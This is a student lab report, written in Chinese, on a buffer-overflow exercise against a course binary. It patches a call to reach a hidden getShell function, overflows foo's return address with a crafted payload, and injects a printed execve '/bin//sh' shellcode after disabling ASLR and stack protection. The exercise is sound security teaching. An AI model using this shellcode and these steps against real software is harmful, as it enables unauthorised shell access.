1.实验内容
- 缓冲区溢出基本知识:堆栈、函数调用。
- shellcode技术以及其在各平台的运用与防御。
- BOF攻击防御技术。
2.实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
3.实验过程
任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 下载目标文件pwn1并进行反汇编。
- 观察核心的getShell、foo、main代码。
main函数调用foo,对应机器指令为“ e8 d7ffffff”,我们想让它调用getShell,只要修改“d7ffffff“为"getShell-80484ba"对应的补码”c3ffffff“就行。 - 修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff,输入
cp pwn1 pwn2
vi pwn2
在vi内按ESC键,输入:%!xxd
将显示模式切换为16进制模式,输入\e8 d7
查找其所在位置,找到后按i进入输入模式修改d7为c3,输入:%!xxd -r
切换16进制模式为原模式,输入:wq
退出vi。 - 再次进行反汇编查看call指令是否正确调用getShell。
可以看到修改成功,成功调用了getShell函数。
任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 使用gdb调试pwn1文件,输入字符串,观察返回地址的覆盖情况
如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。 - 通过反汇编时可以看到getShell的内存地址,即0804847d。接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
- 对比之前eip 0x34333231 0x34333231,正确应用输入11111111222222223333333344444444\x7d\x84\x04\x08。
- 生成一个包含\x7d\x84\x04\x08这样的16进制值的字符串的文件。
- 使用16进制查看指令xxd查看input文件的内容是否如预期。
- 将input的输入,通过管道符“|”,作为pwn1的输入。
成功触发getShell函数。
任务三:注入一个自己制作的shellcode并运行这段shellcode。
- 选择一段shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\ - 将pwn1设置为堆栈可执行,并关闭地址随机化。
- 构造攻击buf。
- 打开一个终端注入攻击。
- 打开另一个终端,找到pwn1进程号,再用gdb调试该进程。
- 设置断点查看注入buf的内存地址。
- 在另一个终端按下回车。
- 修改返回地址为0xffffd380。
成功运行shellcode。
4.问题及解决方案
- 问题1:在安装Kali时显示网络配置失败,不能正常安装Kali。
- 问题1解决方案:改变网络配置方式为手动,打开自己电脑的网络连接面板选择一个可用的网络手动连接。
- 问题2:下载目标文件pwn1反汇编时提示没有pwn1文件,但实验最初以及下载pwn1。
- 问题2解决方案:错误将pwn1下载到了自己的电脑,在虚拟机自带的火狐浏览器中下载pwn1到虚拟机,再进行反汇编。
- 问题3:在使用gdb调试pwn1文件时找不到gdb命令,无法进行调试。
- 问题3解决方案:通过安装包安装gdb,再进行调试,成功调试。
- 问题4:在查看pwn1进程号时未能显示。
- 问题4解决方案:输入
./pwn1
执行文件,再次查看进程号。
- 问题5:在设置堆栈可执行时找不到execstack命令。
- 问题5解决方案:下载execstack。
5.学习感悟、思考等
通过本次实验我深刻理解了缓冲区溢出的原理以及其出现的场景,对shellcode技术以及其在Linux平台的运用也更加熟悉了,在实验中我学会了进行反汇编和进入十六进制编程器,掌握了修改机器指令改变程序执行流程的能力,同时我也能正确构造payload进行bof攻击 。实验中使用的操作让我对课程的理论学习理解地更加透彻与直观,通过本次实验我对在Linux命令行调试文件有了初步掌握。不仅如此,面对实验过程中出现的卡顿点,我能利用网络上的参考资料逐一解决,这次实验也提升了我在大量资料面前查找自己所需资料的能力,对我的学习和工作都有很大帮助。